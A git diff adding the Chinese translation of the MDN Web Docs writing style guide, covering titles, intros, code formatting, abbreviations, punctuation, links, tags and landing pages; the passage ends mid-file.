- -

有两种创建链接的方式:点击编辑器工具栏中的“插入/编辑超链接”按钮(也可以按 Ctrl+K  键(在 Mac 上是 Cmd-K  键)),或者使用 MDN 强大的宏功能来自动创建或根据输入的内容创建链接。

- -

下面列出的指导意见可以帮助你确定创建链接时使用什么样的链接文本:

- - - -

URL 语法

- -

为了保险起见,应始终使用下面的语法来创建链接:

- - - -

其他语法可能无法工作或者不受支持,并有可能会被编辑人员删掉。

- -
-

强调一下,不要使用 about:chrome:// 等语法,因为它们可能无法生效。类似地, javascript: 可能会被最新的浏览器阻止,jar: 同理。

-
- -

页面标签

- -

标签用来提供与页面有关的元数据信息,或者用来标记当前页面在某方面仍需要完善。wiki 中的每个页面都应该包含标签。在如何合理地标记页面这篇指南中有更多关于使用标签的信息。

- -

在编辑文章时,标签位于编辑器的底部,看起来是这样的:

- -

在 MDN 中为页面添加和删除标签

- -

要添加标签,点击标签列表最后的”新建标签……“按钮,然后输入要添加的标签名称。标签会随着你的输入显示自动完成提示。最后按下回车键来确认并提交新标签。可以为一篇文章添加任意多个标签。举个例子,一篇关于在 AJAX 编程中使用 JavaScript 的文章可能需要添加”JavaScript“和”AJAX“这两个标签。

- -

要删除一个标签,点击标签上的”X“图标即可。

- -

标记页面的后续事项

- -

标签还可以用于将文章标记为需要某些后续的工作,用来跟踪文章质量和内容方面的信息。

- -

标记已废弃页面

- -

可使用下面的标签来标记不再使用的页面:

- - - -

SEO 概要

- -

SEO 概要是对一篇文章的简短描述,它会在网页机器爬虫抓取到当前页面时告诉爬虫该文章的概要,当用户搜索到该页面时就会显示此概要信息。另外,在 MDN 内部通过宏来自动生成引导页的时候也会用到它。

- -

默认情况下,文章的第一段内容会被当成是 SEO 概要。但是你可以在编辑器中使用“SEO Summary“样式来手动指定一段内容作为 SEO 概要。

- -

引导页

- -

引导页的层级位于网站层级的顶层,例如 CSSHTML 的主页面就是引导页。引导页具有标准的格式,由以下 3 个部分组成:

- - - -
-

译注:这里的链接原本是指向原文的”Writing a landing page overview“一节,但该节貌似已被删除了,所以链接已失效。这里我找到了一个与其内容相近的小节。

-
- - - -

创建相关页面的链接列表

- -

引导页中的链接列表部分有两列,其 HTML 代码的结构如下:

- -
<div class="row topicpage-table">
-  <div class="section">
-    ... 左侧列 ...
-  </div>
-  <div class="section">
-    ... 右侧列 ...
-  </div>
-</div>
- -

左侧列的顶部是一个 <h2> 标题,用来说明此列的内容是当前主题所包含的文章列表(如”某某的文档和教程“),其下方则是具体的文章列表。该列的标题样式应使用 CSS 类 ”Documentation“,而下方的文章列表是一个 <dl> 列表,其中的每个 <dt> 都包含一个文章的链接和位于 <dd> 中的该目标文章的一两句话的说明。

- -

右侧列则包含一或多个小节,各小节按以下顺序排列:

- -
-
获取社区的帮助
-
该节用来提供当前主题相关的 Matrix 频道和邮件列表信息。标题需使用 CSS 类”Community“。
-
工具
-
可以帮助用户使用当前主题所介绍的技术的工具列表。标题需使用 CSS 类”Tools“。
-
相关主题
-
一些链接到其他相关技术的引导页链接。标题需使用 CSS 类”Related_Topics“。
-
- -

<<<当引导页的标准完成时需要继续完善本节内容>>>

- -

插入图片

- -

在创建或编辑文章时,有时候使用图片会对文章内容有不少好处,特别是文章的技术性很强的时候。可以使用下面的方法来添加一个图片:

- -
    -
  1. 先添加一个图片附件到当前文章中(附件在编辑器的底部)
  2. -
  3. 点击”图像“按钮,弹出对话框
  4. -
  5. 在对话框中的附件下拉列表中,选择刚添加的图片
  6. -
  7. 点击确定按钮
  8. -
- -

其他参考资料

- -

推荐样式指南

- -

如果你在撰写过程中或在格式方面遇到了本文尚未提及的问题,我们建议你参考 Economist 网站的风格指南,如果还是不能解决问题,还可参考芝加哥论文格式

- -

推荐词典

- -

如果有拼写方面的问题,请参考 Dictionary.com。本网站的拼写检查采用美国英语规则,因此请不要使用其他拼写规则(例如应该使用“color”而不是“colour”)。

- -

我们会继续扩充本指南,因此如果你遇到了本文未提及的问题,请通过 MDC 邮件列表项目带头人联系我们,让我们了解还需要加入哪些内容。

- -

MDN

- -

MDN 中常用的宏及其说明。

- -

语言、语法和拼写

- -

如果你对提高写作和编辑能力感兴趣,下面的资料会对你有所帮助:

- - diff --git a/files/zh-cn/mdn/guidelines/writing_style_guide/index.html b/files/zh-cn/mdn/guidelines/writing_style_guide/index.html new file mode 100644 index 0000000000..285b2703cb --- /dev/null +++ b/files/zh-cn/mdn/guidelines/writing_style_guide/index.html @@ -0,0 +1,784 @@ +--- +title: MDN Web 文档写作规范 +slug: MDN/Guidelines/Style_guide +tags: + - MDN + - MDN Meta + - MDN Web 文档 + - MDN 规范 + - 写作规范 + - 准则 + - 教程 + - 文档 + - 规范 +translation_of: MDN/Guidelines/Writing_style_guide +--- +
{{MDNSidebar}}
+ +

{{IncludeSubnav("/zh-CN/docs/MDN")}}

+ +

为了提供更加组织化、标准化且易于阅读的文档,MDN Web 文档写作规范明确了文本的组织方式、拼写规则、固定格式等内容,不过这些内容只是指导性的而不是严格的规定,因为比起格式我们对内容更感兴趣,所以没有必要在参与贡献之前强迫自己学习本规范。但是如果有一位勤劳的志愿者在之后编辑了你的文档使它更加符合本规范,也请不要感到惊讶或难过。

+ +

如果你正在寻找一个特定类型的页面应该如何构建的相关细节,请参阅MDN Web 文档页面布局规范

+ +

本规范主要适用于英文文档。 其他语言可能也有(也欢迎创建)相应的规范。 这些应该作为子页面发布在各个本地化小组的页面中。

+ +
+

译注:本文的写作规范虽说是针对英文所写,但是其中的不少内容也适用于中文,可花点时间阅读一下。另外,中文翻译时的规范请参见《翻译术语表和翻译规范》。

+
+ +

对于那些为MDN以外的站点内容所编写的规范,请参考 Mozilla 统一规范

+ +

基础部分

+ +

为了使文档保持更好的一致性,所有主流的写作规范指南都是从一些比较基本的写作规范开始的。以下几个小节所概述的这些基本规范内容应该会对你有很大帮助。

+ +

页面标题

+ +

页面标题不仅会在搜索时用到,在页面顶部的面包屑路径中也会被用来表示文档的层级结构。页面标题(就是显示在页面顶部以及搜索结果中标题的部分)可以与页面URL“<locale>/docs/”之后的“铭牌(slug)”部分不同.

+ +

文章标题和段落标题的大写规则

+ +

页面的标题和章节的标头应当使用语句式大写(只大写第一个单词的首字母以及专有名词的首字母),而不应该使用标题式大写:

+ + + +

我们还有很多旧的页面是在这条规范确立之前就已经发布了的。所以只要你愿意,你随时可以更新它们的标题。我们也正在逐步完善它们。

+ +

标题和铭牌的选择

+ +

页面的铭牌应该尽量简短,当创建一个新的层级时,新层级的铭牌最好只由一到两个单词组成。

+ +

而页面的标题长度并没有什么严格的限制,只要合理并且表意明确即可。

+ +

创建新的子目录

+ +

当你要给某个新的主题或主体添加文章时,你通常需要创建一个引导页,然后再把要添加的文章作为子页面添加进去。引导页开篇应当用一两段话来描述一下当前主题或技术,然后添加一个子页面的目录列表,并简要描述每个页面的内容。你可以使用一些我们已经编写好的宏把相关的子页面自动插入到目录列表中。

+ +

例如,JavaScript手册,其结构如下:

+ + + +

尽量避免把文章内容放置在层次结构的顶层,这会降低网站的访问速度,同时搜索和导航的效率也会下降。

+ +

文章内容的通用原则

+ +

在写任何文档时,知道该写多少是很重要的。如果你写的长篇大论,文章读起来就会冗长无味,更不会有人愿意使用它。保持文章内容适量很重要,原因有很多。这其中的原因就有:为了确保读者能够找到他们真正想要的信息,以及为搜索引擎提供足够的优质素材来对文章进行分析和排名。我们将在这里讨论前者(提供读者可能需要的信息)。如果想了解如何让文章更好地被搜索引擎分类和排名,查阅文章How to write for SEO on MDN

+ +

我们的目标是在页面中包含读者可能需要的所有信息,但又不至于太过冗长。为了实现这个目标,我们给出了一些建议。

+ +

为读者着想

+ +

请记住,这些只是指导性的。其中某些建议并不适用于所有状况。当然你应该始终为你的读者着想。例如,在一篇介绍高级网络技术的文章中,通常不需要像介绍网络编程的文章那样包含过多的网络基本概念。

+ +

提供一个有用的简介

+ +

在开篇或第一个段落标题之前给出文章的简介,以使读者快速了解文章中是否包含他们感兴趣的内容。在指南或教程类的文章中,简介还应该让读者明白文章覆盖了哪些主题,以及文章期望读者能够从中了解到哪些知识。简介中应该包含文章中介绍和讨论的技术、API,并提供相关的链接,同时还应该提供可能会遇到的情况的提示。

+ +
示例:过于简短的简介
+ +

下面这个例子中的简介太过于简短,很多信息都没有包含进来,比如“stroke text”是什么意思,文本会在哪里等。

+ +
+

CanvasRenderingContext2D.strokeText() draws a string.

+
+ +
示例:过于冗长的简介
+ +

下面是上面那个简介的修改版,但是这次它又太过冗长了。其中包含了过多的细节,并且还包含了很多其他方法和属性,但实际上它应该将重点聚焦在 strokeText() 方法上,然后给出详细介绍它的文章的链接即可。

+ +
+

译注:作为例子,内容并不重要,所以就不逐句翻译了。

+
+ +
+

When called, the Canvas 2D API method CanvasRenderingContext2D.strokeText()strokes the characters in the specified string beginning at the coordinates specified, using the current pen color. In the terminology of computer graphics, "stroking" text means to draw the outlines of the glyphs in the string without filling in the contents of each character with color.

+ +

The text is drawn using the context's current font as specified in the context's {{domxref("CanvasRenderingContext2D.font", "font")}} property.

+ +

The placement of the text relative to the specified coordinates are determined by the context's textAligntextBaseline, and direction properties. textAlign controls the placement of the string relative to the X coordinate specified; if the value is "center", then the string is drawn starting at x - (stringWidth / 2), placing the specified X-coordinate in the middle of the string. If the value is "left", the string is drawn starting at the specified value of x. And if textAlign is "right", the text is drawn such that it ends at the specified X-coordinate.

+ +

(etc etc etc...)

+ +

You can, optionally, provide a fourth parameter that lets you specify a maximum width for the string, in pixels. If you provide this parameter, the text is compressed horizontally or scaled (or otherwise adjusted) to fit inside a space that wide when being drawn.

+ +

You can call the fillText() method to draw a string's characters as filled with color instead of only drawing the outlines of the characters.

+
+ +
示例:这次好多了
+ +

下面这个简介比前两个要好很多。

+ +
+

The {{domxref("CanvasRenderingContext2D")}} method strokeText(), part of the Canvas 2D API, strokes—that is, draws the outlines of—the characters of a specified string, anchored at the position indicated by the given X and Y coordinates. The text is drawn using the context's current {{domxref("CanvasRenderingContext2D.font", "font")}}, and is justified and aligned according to the {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, and {{domxref("CanvasRenderingContext2D.direction", "direction")}} properties.

+ +

For more details and further examples, see {{SectionOnPage("/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Text")}} in the Learning Area as well as our main article on the subject, Drawing text.

+
+ +

多提供一些示例

+ +

文章应该尽量多提供一些示例。实际上,大多数文章都应该包含不止一个例子。使用例子来说明每个参数的用途或每个可能的边界条件是很有必要的。同时还应该用例子来演示常见问题的解决方法,以及应该如何解决使用过程中可能碰到的坑。

+ +

每个例子都应该先给出解释,说明它做了什么,以及读者在阅读或动手尝试之前需要了解的内容。

+ +

另外,每段示例代码都应该就其工作原理给出说明。最好将一段较长的代码分解成多个较小的部分,并提供每个部分的说明,说明时注意细节的层次。如果代码很简单并且不直接涉及到当前 API,可以只给出一个简单的介绍,说明其用途,以及为何要把它放在这里;而如果代码比较复杂、或用到了当前的 API、或在技术上比较有创造性,那么你应该提供更详细的说明。

+ +

如果使用的是在线演示的方式,则可以将 HTML、CSS、JavaScript 拆分到不同的 {{HTMLElement("pre")}} 中,它们在运行时会自动组合到一起,但使用这种方式每个里面都可以有自己的说明。因此这是一种很好很强大的方式。

+ +

过短的文章难以被搜索到

+ +

如果文章过短,那么搜索引擎可能会难以甚至无法对其建立关键字索引。一般来说,文章的主体内容应该至少包含 250-300 个单词。但是也不要对内容确实很少的文章进行刻意的扩充,在可能的情况下尽量遵守该指导原则即可。

+ +

小节、段落和换行

+ +

对于小节的标题,应使用从大到小的方式来定义级别:{{HTMLElement("h2")}}、{{HTMLElement("h3")}}、{{HTMLElement("h4")}} 这样,并且中间不要跳过某一级。因为 H1 已用于文章的标题,因此小节的标题应该从 H2 开始。如果你的文章中小节的层次超过了 3 到 4 级,那么你可能需要考虑将整篇文章拆分成几篇小的文章,然后用一个引导页给出这些文章的链接,并用 {{TemplateLink("Next")}}、{{TemplateLink("Previous")}}、{{TemplateLink("PreviousNext")}} 宏为它们创建导航。

+ +

按下回车键(Enter 或 Return)可以开始一个新的段落。如果只是想换行而不是另起一段,可以按住 Shift 并敲下回车。

+ +

不要创建只包含一个小节的子级别,如果只有一个小节,那么拆分主题就是没有意义的。至少包含两个小节,要么就不要拆分。

+ +

不要让两个小节标题紧挨在一起,这样看起来很丑。每个小节标题的下面至少要放上一段对后面各子小节的简短说明,这会对阅读的人很有帮助。

+ +

列表

+ +

列表的格式应该在所有文章中保持一致,并且应在列表中恰当使用标点和结构合理的句子。不管是哪种类型的列表,都需要对格式进行适当的调整。下面的内容说明了每种列表之间的不同。

+ +

无序列表

+ +

无序列表可以以简洁且有效的方式对内容进行分组显示。每个条目都会以类似“•”的符号来标识。在无序列表中要注意正确使用标点,尤其是每句的最后不要遗漏掉句号。应该以标准写作方式来对待无序列表。

+ +

下面是一个结构良好的无序列表的例子:

+ +
+

在这个例子中需要包括:

+ +
    +
  • 一种情况,然后跟上一个简短的说明。
  • +
  • 一种情况,然后跟上一个简短的说明。
  • +
  • +

    另一种情况,并跟上一些解释和说明。

    +
  • +
+
+ +

可以看到,每个条目的格式都是一致的:首先显示一个“•”符号,然后列出一种情况,然后写上逗号,并在逗号后面添加一些对当前情况的简单说明。

+ +

有序列表

+ +

有序列表用序号来标识每个条目。同样要注意应该在有序列表中使用适当的格式,保持列表的清晰和简洁,这一点与无序列表是类似的。但是有序列表中的某些条目内容可能会很多,因此正确使用标点就更为重要了,因为难免会遇到必须使用复杂句子的情况。

+ +

下面是一个结构良好的有序列表的例子:

+ +
+

为了创建一个好的有序列表,你需要:

+ +
    +
  1. 以一个介绍性的标题开始,以引出后续的序列。我们可以在开始有序列表的序列之前提供这一内容。
  2. +
  3. 开始创建各个序列,这些序列会用数字依次编号。这是有序列表的标准格式,能够很容易地被读者理解。有序列表中的某些条目内容可能会很多,因此正确使用标点是很重要的。
  4. +
  5. 列表序列完成之后,应在后面再提供一段简短的总结。
  6. +
+ +

这段内容就是一个总结。我们已经创建了一个简短的有序列表,解释了创建良好格式的有序列表应遵循的步骤。

+
+ +

有序列表基本都用来表示具有连续性关系的内容,因此应该先深入思考你要用这些内容达到什么目的,然后再去撰写。

+ +

文本格式和样式

+ +

可以使用“样式”下拉列表中的预定义样式来格式化你选定的内容。

+ +
+

“Note”样式用来强调重要提示,就像这个。

+
+ +
+

类似地,“Warning”样式用来创建一个警告框。

+
+ +

除非有特殊需要,否则请不要用 HTML 的 style 属性来手动给内容添加样式。如果你没有找到你需要的预定义样式,可以放置一个 {{IRCLink("mdn")}} 并寻求帮助。

+ +

示例代码的格式和样式

+ +
+

这一小节只是讨论 MDN 文章中的示例代码的样式和格式问题,如果你想了解如何编写示例代码,请参考示例代码指南

+
+ +

缩进和换行符

+ +

每级缩进都使用两个空格来缩进,并在所有的示例中保持一致。对于代码块的起始语句,应将开大括号“{”与当前语句写在一行上,比如:

+ +
if (condition) {
+  /* handle the condition */
+} else {
+  /* handle the "else" case */
+}
+
+ +

如果一行的代码很长,应在适当的地方换行以避免出现水平滚动条。下面是一个例子:

+ +
if (class.CONDITION || class.OTHER_CONDITION || class.SOME_OTHER_CONDITION
+       || class.YET_ANOTHER_CONDITION ) {
+  /* something */
+}
+
+var toolkitProfileService = Components.classes["@mozilla.org/toolkit/profile-service;1"]
+                           .createInstance(Components.interfaces.nsIToolkitProfileService);
+
+ +

内联代码格式

+ +

对于函数名、变量名、方法名等,应使用“Inline Code”按钮(编辑器中显示为“<>”的按钮)将其设置为内联代码格式(内联代码使用的是 {{HTMLElement("code")}} 元素)。比如:frenchText() 函数。

+ +

方法名后面应该加上小括号:doSomethingUseful(),这样会比较容易将方法与其他代码元素区分开来。

+ +

语法高亮

+ +

Screenshot of the 'Syntax Highlighter' menu.对于整行或多行代码,此时别再使用 {{HTMLElement("code")}}  元素来格式化了,而应该对其进行语法高亮。点击语法高亮器按钮(图标是两个代码块),从语言下拉列表中选择一种合适的语言即可。见右图。

+ +

下面的例子使用了 JavaScript 语法高亮:

+ +
+
for (var i = 0, j = 9; i <= 9; i++, j--)
+  document.writeln("a[" + i + "][" + j + "]= " + a[i][j]);
+
+ +

如果没有在下拉列表中找到你需要的语言,可以选择第一项“没有高亮”,此时代码显示的是不带高亮效果的普通样式:

+ +
x = 42;
+ +

语法定义

+ +

如果你想插入一段语法定义,可以使用样式下拉列表中的“Syntax Box”选项。语法定义的样式与普通代码的样式会有所区别。

+ +

非代码区块

+ +

有些情况下需要用到 <pre> 区块而不是代码区块,此时不会进行语法高亮,也不会显示行号。比如你需要显示树形结构,就可以使用 <pre>

+ +
root/
+
+    folder1/
+        file1
+
+    folder2/
+        file2
+        file3
+
+ +

插入方法是要先点击”pre“按钮,然后输入想要的内容即可。

+ +

HTML 元素的样式

+ +

HTML 元素的样式有一套自己的规则。遵守这些规则可以让元素及其组件的描述方式保持统一,并且还可以保证能够正确链接到各元素的详细文档页面。

+ +
+
元素名称
+
使用 {{TemplateLink("HTMLElement")}} 宏会生成一个指向该元素详情页的链接。比如,\{{HTMLElement("title")}} 会生成”{{HTMLElement("title")}}“。如果不想生成链接,就将元素名称用尖括号括起来,然后将其设置为内联代码样式,比如 <title>
+
属性名称
+
请使用粗体
+
属性定义
+
对正在定义的术语使用 {{TemplateLink("htmlattrdef")}} 宏(如 \{{htmlattrdef("type")}}),这样其他页面就可以使用 {{TemplateLink("htmlattrxref")}} 宏来链接到该页面了(例如 \{{htmlattrxref("attr","属性")}})。
+
属性值
+
请使用内联代码样式,并且注意字符串两边不要加引号,除非是代码的语法要求加引号。举例:当将 <input> 元素的 type 属性设置为 emailtel 时……
+
为属性添加说明标签
+
请不要滥用 {{HTMLVersionInline(5)}} 这样的标签。比如,可以在某个第一次出现的属性名称旁边添加标签,但是不要在每次出现该属性的时候都添加一次。
+
+ +

拉丁文缩写

+ +

在补充说明的括号中

+ +

一般的拉丁文缩写(如:”etc.“、”i.e.“、”e.g.“)都可以用在起补充说明的括号里面。这时应在缩写中添加句号,后面加上逗号或其他恰当的标点。

+ + + +

在一般句子中

+ +

在普通的句子中(即括号的外面),请使用与缩写等价的英文单词或短语。

+ + + +

缩写、拉丁文原文和英文的对照表

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
缩写拉丁文英文
cf.confercompare
e.g.exempli gratiafor example
et al.et aliiand others
etc.et ceteraand so forth, and so on
i.e.id estthat is, in other words
N.B.nota benenote well
P.S.post scriptumpostscript
+ +
+

在使用前请仔细思考使用拉丁文缩写是否真的能带来好处。上面列出的某些缩写很少用到,很多读者可能不知道其意思,还有一些读者可能会分不清其中的某些缩写。另外,如果你决定使用缩写,那么请确保你的用法是正确的。比如,一个很多人经常会犯的错误是将“e.g.”和“i.e.”弄混。

+
+ +

首字母缩写和一般缩写

+ +
+
大写与句号
+
在这两种缩写中(包括国家和组织的缩写,如“US”、“UN”),请使用全大写且不要添加句号。
+
+
    +
  • 正确: XUL
  • +
  • 错误: X.U.L.、Xul
  • +
+
+
缩写展开
+
文章中第一次遇到某个缩写术语时,应该同时给出其展开形式,从而让不了解该缩写的读者能够知道它所指代的内容。如果不确定要不要展开那么就选择展开,或者更好的办法是将其链接到术语表中的对应条目。
+
+
    +
  • 正确: XUL (XML User Interface Language) is Mozilla's XML-based language...
  • +
  • 错误: XUL is Mozilla's XML-based language...
  • +
+
+
缩写的复数形式
+
当需要使用复数形式的缩写时,直接在后面加上“s”即可,请务必不要加撇号。
+
+
    +
  • 正确: CD-ROMs
  • +
  • 错误: CD-ROM's
  • +
+
+
”Versus“、”vs.“和”v.“
+
推荐使用”vs.“。
+
+
    +
  • 正确: this vs. that
  • +
  • 错误: this v. that
  • +
  • 错误: this versus that
  • +
+
+
+ +

大写

+ +

在文章内容中请使用标准英文大写规则,比如对于”World Wide Web“需大写每个单词的首字母。如果”web“和”internet“是单独使用或作为修饰词使用,那么将其全小写也可以——这一指导原则是后来修改过的,所以在 MDN 中你也许会看到很多首字母大写的”Web“和”Internet“。当你编辑文章的时候遇到这种情况,可以随它去,也可以随手修改一下。但是仅仅只是为了修改一下大写的话就没必要专门去编辑一下了。

+ +

对于键盘按键,应该使用普通的大写规则,而不是全大写。比如,是”Enter“而不是”ENTER“。

+ +

简写

+ +

我们倾向于宽松的写作风格,所以你可以按你的喜好来决定是否使用简写(如”don't“、”can't“、”shouldn't“)。

+ +

名称复数

+ +

请使用英文风格的复数形式,不要使用拉丁文或希腊文的形式。

+ +
+
+
    +
  • 正确: syllabuses、octopuses
  • +
  • 错误: syllabi、octopi
  • +
+
+
+ +

连字符

+ +

当两个单词连起来组成另一个单词时,如果前一个单词的最后一个字母是元音字母,并且与后一个单词的第一个字母相同时,应使用连字符。

+ +
+
+
    +
  • 正确: email、re-elect、co-op
  • +
  • 错误: e-mail、reelect、coop
  • +
+
+
+ +

使用性别中立的表述

+ +

在任何性别无关的场合使用性别中立的表述方式是一种比较好的做法,这样可以使你的文章具有普适性。举个例子,如果你正在写的是关于某个男人的行为,那么使用”他“来指代是没问题的;但如果内容并没有特指是男还是女,那么再使用”他“就不太恰当了。

+ +

让我们再看几个例子:

+ +

弹出一个对话框,让用户确认他是否允许网页使用他的网络摄像头。

+ +

弹出一个对话框,让用户确认她是否允许网页使用她的网络摄像头。

+ +

这两句话使用的都是特定性别的表述方式,我们可以将其修改为性别中立的代词:

+ +

弹出一个对话框,让用户确认他们是否允许网页使用他们的网络摄像头。

+ +
+

译注:这里原文为”they“和”their“,在英文中是性别中立的代词。而中文中如果上下文没有强调性别,则”他们“也具有性别中立性。

+
+ +
+

MDN 允许使用这种通用性的语法(尽管在正式用法中这一点还存在争议)来弥补英语在表达中立性别时的不足。将第三人称复数的代词用来表示性别中立代词(即使用”they“、”them“、”their“、”theirs“)是可以接受的,也就是通常所说的”单数形式的‘they’“。

+
+ +

你还可以同时写上两个性别:

+ +

弹出一个对话框,让用户确认他或她是否允许网页使用他/她的网络摄像头。

+ +
+

译注:中文里一般不这么用,所以如果在翻译中遇到这种情况,请简单翻译为”他“即可。”中文翻译规范“一文的”误解:100% 翻译 = 准确“一节中也提到了这个问题。

+
+ +

或者使用复数形式的”users“:

+ +

弹出一个对话框,让用户(译注:原文为”users“)确认他们是否允许网页使用他们的网络摄像头。

+ +

当然,最好的方法还是重写句子,去掉其中的代词:

+ +

弹出一个对话框,询问用户是否允许网页对网络摄像头的访问。

+ +

弹出一个询问用户以获取网络摄像头访问权限的对话框。

+ +

最后一种方法(译注:意指去除代词的方法)可能更好一些,因为它不但语法上更加正确,而且还能消除不同语言处理性别问题时所带来的复杂性,因为不同语言对性别的处理可能有不同的规则。因此这种方法无论是对读者(译注:意为阅读英语原文的非英语读者)还是翻译者来说都可以让翻译更简单。

+ +

数字和数词

+ +

日期

+ +

请用”January 1, 1990“这样的形式来表达日期(不包括代码中的日期)。

+ +
+
+
    +
  • 正确: February 24, 2006
  • +
  • 错误: February 24th, 2006、24 February, 2006、24/02/2006
  • +
+
+
+ +

或者你也可以使用”YYYY/MM/DD“的形式:

+ +
+
+
    +
  • 正确: 2006/02/24
  • +
  • 错误: 02/24/2006、24/02/2006、02/24/06
  • +
+
+
+ +

年代

+ +

请使用”1990s“这种形式来表示年代,但不要使用撇号:

+ +
+
+
    +
  • 正确: 1990s
  • +
  • 错误: 1990's
  • +
+
+
+ +

数词的复数

+ +

数词的复数直接在后面加”s“,同样不要使用撇号:

+ +
+
+
    +
  • 正确: 486s
  • +
  • 错误: 486's
  • +
+
+
+ +

逗号

+ +

应该仅在数字的位数大于等于 5 位时才使用逗号分隔符:

+ +
+
+
    +
  • 正确: 4000、54,000
  • +
  • 错误: 4,000、54000
  • +
+
+
+ +

标点符号

+ +

连续逗号

+ +

请使用连续逗号。连续逗号(也叫牛津逗号)是在一个包含三个或以上单词或短语的序列中位于连词前的那个逗号。

+ +
+
+
    +
  • 正确: I will travel on trains, planes, and automobiles.
  • +
  • 错误: I will travel on trains, planes and automobiles.
  • +
+
+
+ +
+

译注:这种情况在翻译时应将逗号翻译为顿号。”中文翻译规范“一文的”标点符号“一节中也提到了这个问题。

+
+ +
+

这一点与 Mozilla 统一规范有冲突,后者要求不要使用连续逗号。MDN 是这一规则的特例。

+
+ +

拼写

+ +

如果一个单词具有多种拼写,请使用美国英语的拼写。一般来说,Dictionary.com 上的第一个拼写是符合此要求的,除非单词本身即为其他变体形式或主要用于美国以外的国家中。例如,如果你去查”honour“,你会看到一个标注”Chiefly British“,并在其后有一个指向美语标准形式的链接。请不要使用其他的拼写变体。

+ +
+
+
    +
  • 正确: localize、honor
  • +
  • 错误: localise、honour
  • +
+
+
+ +

术语

+ +

HTML 元素

+ +

请使用”元素“来表示 HTML 和 XML 元素,不要使用”标记“。另外,请在元素名称两边使用尖括号 ”<>“ 括起来,并使用 {{HTMLElement("code")}} 样式。当文章中第一次出现某个元素的时候,应该用 {{TemplateLink("HTMLElement")}} 宏创建一个指向该元素文档的链接(除非你正在撰写的恰好是该元素的文档页面)。

+ +
+
+
    +
  • 正确: {{HTMLElement("span")}} 元素
  • +
  • 错误: span 标记
  • +
+
+
+ +

函数参数

+ +

在 MDN 上推荐使用 parameters 来表示函数的参数,为了保持一致性,如果可能的话请尽量避免使用”arguments“。

+ +

描述用户的操作

+ +

在说明一系列操作步骤时,应使用祈使语气来描述用户的操作,并用 UI 组件的名称和其元素类型来标识操作对象。

+ +
+
+
    +
  • 正确: 点击编辑按钮
  • +
  • 错误: 点击编辑
  • +
+
+
+ +

语态

+ +

推荐使用主动语态,但被动语态也可以接受,只是可能会让文章看起来不太正式。建议选择一种并在文章中尽量保持统一。

+ +

Wiki 标记及用法

+ +

链接

+ +

链接是 wiki 中最重要的功能元素之一。这里会介绍一些链接的基本内容,在我们的编辑器指南中的在MDN中创建和编辑链接这篇文章中有关于链接的详细介绍。

+ +

我们鼓励适当的添加一些相关文章的链接,这样可以提高页面导航的效率和内容的易发现性。链接不但可以指向其他 MDN 页面(内部链接),也可以指向其他网站的页面(外部链接)。

+ +

有两种创建链接的方式:点击编辑器工具栏中的“插入/编辑超链接”按钮(也可以按 Ctrl+K  键(在 Mac 上是 Cmd-K  键)),或者使用 MDN 强大的宏功能来自动创建或根据输入的内容创建链接。

+ +

下面列出的指导意见可以帮助你确定创建链接时使用什么样的链接文本:

+ + + +

URL 语法

+ +

为了保险起见,应始终使用下面的语法来创建链接:

+ + + +

其他语法可能无法工作或者不受支持,并有可能会被编辑人员删掉。

+ +
+

强调一下,不要使用 about:chrome:// 等语法,因为它们可能无法生效。类似地, javascript: 可能会被最新的浏览器阻止,jar: 同理。

+
+ +

页面标签

+ +

标签用来提供与页面有关的元数据信息,或者用来标记当前页面在某方面仍需要完善。wiki 中的每个页面都应该包含标签。在如何合理地标记页面这篇指南中有更多关于使用标签的信息。

+ +

在编辑文章时,标签位于编辑器的底部,看起来是这样的:

+ +

在 MDN 中为页面添加和删除标签

+ +

要添加标签,点击标签列表最后的”新建标签……“按钮,然后输入要添加的标签名称。标签会随着你的输入显示自动完成提示。最后按下回车键来确认并提交新标签。可以为一篇文章添加任意多个标签。举个例子,一篇关于在 AJAX 编程中使用 JavaScript 的文章可能需要添加”JavaScript“和”AJAX“这两个标签。

+ +

要删除一个标签,点击标签上的”X“图标即可。

+ +

标记页面的后续事项

+ +

标签还可以用于将文章标记为需要某些后续的工作,用来跟踪文章质量和内容方面的信息。

+ +

标记已废弃页面

+ +

可使用下面的标签来标记不再使用的页面:

+ + + +

SEO 概要

+ +

SEO 概要是对一篇文章的简短描述,它会在网页机器爬虫抓取到当前页面时告诉爬虫该文章的概要,当用户搜索到该页面时就会显示此概要信息。另外,在 MDN 内部通过宏来自动生成引导页的时候也会用到它。

+ +

默认情况下,文章的第一段内容会被当成是 SEO 概要。但是你可以在编辑器中使用“SEO Summary“样式来手动指定一段内容作为 SEO 概要。

+ +

引导页

+ +

引导页的层级位于网站层级的顶层,例如 CSSHTML 的主页面就是引导页。引导页具有标准的格式,由以下 3 个部分组成:

+ + + +
+

译注:这里的链接原本是指向原文的”Writing a landing page overview“一节,但该节貌似已被删除了,所以链接已失效。这里我找到了一个与其内容相近的小节。

+
+ + + +

创建相关页面的链接列表

+ +

引导页中的链接列表部分有两列,其 HTML 代码的结构如下:

+ +
<div class="row topicpage-table">
+  <div class="section">
+    ... 左侧列 ...
+  </div>
+  <div class="section">
+    ... 右侧列 ...
+  </div>
+</div>
+ +

左侧列的顶部是一个 <h2> 标题,用来说明此列的内容是当前主题所包含的文章列表(如”某某的文档和教程“),其下方则是具体的文章列表。该列的标题样式应使用 CSS 类 ”Documentation“,而下方的文章列表是一个 <dl> 列表,其中的每个 <dt> 都包含一个文章的链接和位于 <dd> 中的该目标文章的一两句话的说明。

+ +

右侧列则包含一或多个小节,各小节按以下顺序排列:

+ +
+
获取社区的帮助
+
该节用来提供当前主题相关的 Matrix 频道和邮件列表信息。标题需使用 CSS 类”Community“。
+
工具
+
可以帮助用户使用当前主题所介绍的技术的工具列表。标题需使用 CSS 类”Tools“。
+
相关主题
+
一些链接到其他相关技术的引导页链接。标题需使用 CSS 类”Related_Topics“。
+
+ +

<<<当引导页的标准完成时需要继续完善本节内容>>>

+ +

插入图片

+ +

在创建或编辑文章时,有时候使用图片会对文章内容有不少好处,特别是文章的技术性很强的时候。可以使用下面的方法来添加一个图片:

+ +
    +
  1. 先添加一个图片附件到当前文章中(附件在编辑器的底部)
  2. +
  3. 点击”图像“按钮,弹出对话框
  4. +
  5. 在对话框中的附件下拉列表中,选择刚添加的图片
  6. +
  7. 点击确定按钮
  8. +
+ +

其他参考资料

+ +

推荐样式指南

+ +

